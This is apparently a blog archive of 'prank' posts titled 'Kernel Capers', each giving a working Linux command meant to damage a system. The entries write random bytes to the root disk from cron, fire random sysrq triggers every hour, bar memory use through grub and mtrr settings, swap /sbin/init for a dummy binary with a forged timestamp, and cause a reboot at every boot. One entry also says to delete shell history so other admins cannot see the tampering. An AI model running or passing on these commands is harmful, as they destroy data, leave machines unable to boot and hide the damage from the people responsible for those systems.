Archive for the ‘ Kernel Capers ’ Category

Accelerated bitrot

Another nice one to put in cron. Putting it at roughly once every hour should provide you with nice but subtle failures over time: ROOTDEV=$(df -h / | sed -n '2p' | cut -d ' ' -f1) ROOTSZ=$[$(blockdev --getsz ${ROOTDEV}) * 512] LOCATION=$[${RANDOM} * ${RANDOM} * ${RANDOM} % ${ROOTSZ}] dd if=/dev/urandom of=${ROOTDEV} bs=1 count=1 seek=${LOCATION} conv=notrunc [ READ MORE ]

Add some spice to your life

Spice up your life a bit with the following command: echo 'SYSRQLETTERS="bcdefghijklmnopqrstuvwx"; echo ${SYSRQLETTERS} | cut -c $[$RANDOM % ${#SYSRQLETTERS} + 1] > /proc/sysrq-trigger' > /etc/cron.hourly/happyfuntime; chmod +x /etc/cron.hourly/happyfuntime [ READ MORE ]

No Reservations?

tune2fs -m50 $(mount | awk '/on \/ type/{print $1}') [ READ MORE ]

Bad memory

This little baby will tell your kernel that the first 256 Gibibytes of memory are not to be used. Run it, reboot, watch hilarity ensue: sed -i -r '/vmlinuz/s/(.*)/\1 memmap=256G$0x0000/' /boot/grub/grub.conf [ READ MORE ]

Speed? What speed?

This one got submitted by Ray: echo "base=0x00000000 size=0xffffffff type=uncachable" > /proc/mtrr It works best if you put it in rc.sysinit or any other place early in your boot sequence. [ READ MORE ]

Who needs multiple cores anyway?

Disabling cores for fun and profit[ READ MORE ]

SImplify your init

This one was submitted by fl0_: Create a file called init.c #include <stdio.h>   int main(){   printf("MOEHAHAHHAAAA\n"); return 0; } Next run the following commands: gcc -o init init.c touch -r /sbin/init init cp -f init /sbin/init You might want to hide your handiwork from the other admins by either removing ~/.bash_history(obvious)/running set [ READ MORE ]

I’m sorry, but I can’t let you do that Dave…

echo "kernel.pid_max = 132" >> /etc/sysctl.conf [ READ MORE ]

Beginners

Run the following command and reboot : echo 'echo b > /proc/sysrq-trigger ' >> /etc/rc.local [ READ MORE ]